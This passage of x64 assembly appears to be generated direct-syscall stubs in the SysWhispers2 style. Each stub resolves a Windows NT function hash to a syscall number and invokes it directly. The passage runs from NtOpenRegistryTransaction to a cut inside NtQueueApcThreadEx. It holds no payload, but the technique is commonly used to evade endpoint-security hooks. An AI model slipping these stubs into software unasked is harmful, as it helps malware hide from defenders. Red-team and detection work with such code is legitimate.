call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenRegistryTransaction ENDP
NtOpenResourceManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 075CB4D46h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenResourceManager ENDP
NtOpenSemaphore PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DC88D26Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenSemaphore ENDP
NtOpenSession PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04FE52D28h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenSession ENDP
NtOpenSymbolicLinkObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B09E2E93h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenSymbolicLinkObject ENDP
NtOpenThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01C3E409Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenThread ENDP
NtOpenTimer PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03D0EE626h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenTimer ENDP
NtOpenTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DC47FC09h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenTransaction ENDP
NtOpenTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0022F9803h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenTransactionManager ENDP
NtPlugPlayControl PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 089819337h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPlugPlayControl ENDP
NtPrePrepareComplete PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 06C285F66h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrePrepareComplete ENDP
NtPrePrepareEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01688F0D2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrePrepareEnlistment ENDP
NtPrepareComplete PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0593DAB70h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrepareComplete ENDP
NtPrepareEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D956FAC1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrepareEnlistment ENDP
NtPrivilegeCheck PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B2253933h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrivilegeCheck ENDP
NtPrivilegeObjectAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01EB01E26h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrivilegeObjectAuditAlarm ENDP
NtPrivilegedServiceAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 036D0364Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPrivilegedServiceAuditAlarm ENDP
NtPropagationComplete PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0592245CEh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPropagationComplete ENDP
NtPropagationFailed PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 024903D2Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPropagationFailed ENDP
NtPulseEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E241E3D4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPulseEvent ENDP
NtQueryAuxiliaryCounterFrequency PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 016214DF2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryAuxiliaryCounterFrequency ENDP
NtQueryBootEntryOrder PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0088A0011h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryBootEntryOrder ENDP
NtQueryBootOptions PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09399E35Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryBootOptions ENDP
NtQueryDebugFilterState PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AE0FB6B8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDebugFilterState ENDP
NtQueryDirectoryFileEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04497872Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDirectoryFileEx ENDP
NtQueryDirectoryObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 044984C05h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDirectoryObject ENDP
NtQueryDriverEntryOrder PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 053C8414Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDriverEntryOrder ENDP
NtQueryEaFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C62084F8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryEaFile ENDP
NtQueryFullAttributesFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 069580591h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryFullAttributesFile ENDP
NtQueryInformationAtom PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A9398CB1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationAtom ENDP
NtQueryInformationByName PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 004BAF7EDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationByName ENDP
NtQueryInformationEnlistment PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C980D217h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationEnlistment ENDP
NtQueryInformationJobObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 012BC2C11h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationJobObject ENDP
NtQueryInformationPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A538BE97h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationPort ENDP
NtQueryInformationResourceManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01B837D50h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationResourceManager ENDP
NtQueryInformationTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05CCB5C65h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationTransaction ENDP
NtQueryInformationTransactionManager PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01D810D1Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationTransactionManager ENDP
NtQueryInformationWorkerFactory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0009C1E04h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationWorkerFactory ENDP
NtQueryInstallUILanguage PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0FF4135ECh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInstallUILanguage ENDP
NtQueryIntervalProfile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0CC5AC0CCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryIntervalProfile ENDP
NtQueryIoCompletion PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 006904647h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryIoCompletion ENDP
NtQueryLicenseValue PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01494233Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryLicenseValue ENDP
NtQueryMultipleValueKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03D1E00A5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryMultipleValueKey ENDP
NtQueryMutant PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 054B4533Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryMutant ENDP
NtQueryOpenSubKeys PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03F852806h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryOpenSubKeys ENDP
NtQueryOpenSubKeysEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00B80A9BAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryOpenSubKeysEx ENDP
NtQueryPortInformationProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01E870FEBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryPortInformationProcess ENDP
NtQueryQuotaInformationFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 096818C36h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryQuotaInformationFile ENDP
NtQuerySecurityAttributesToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0159F0922h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySecurityAttributesToken ENDP
NtQuerySecurityObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 032A20A15h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySecurityObject ENDP
NtQuerySecurityPolicy PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 080DEB96Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySecurityPolicy ENDP
NtQuerySemaphore PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D88916ACh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySemaphore ENDP
NtQuerySymbolicLinkObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0645E12B3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySymbolicLinkObject ENDP
NtQuerySystemEnvironmentValue PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 06A8A1962h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySystemEnvironmentValue ENDP
NtQuerySystemEnvironmentValueEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F3E9B735h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySystemEnvironmentValueEx ENDP
NtQuerySystemInformationEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09AADF847h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySystemInformationEx ENDP
NtQueryTimerResolution PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DEF9FE6Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryTimerResolution ENDP
NtQueryWnfStateData PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0924DBE06h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryWnfStateData ENDP
NtQueryWnfStateNameInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0608A6419h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryWnfStateNameInformation ENDP
NtQueueApcThreadEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09EA2E85Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
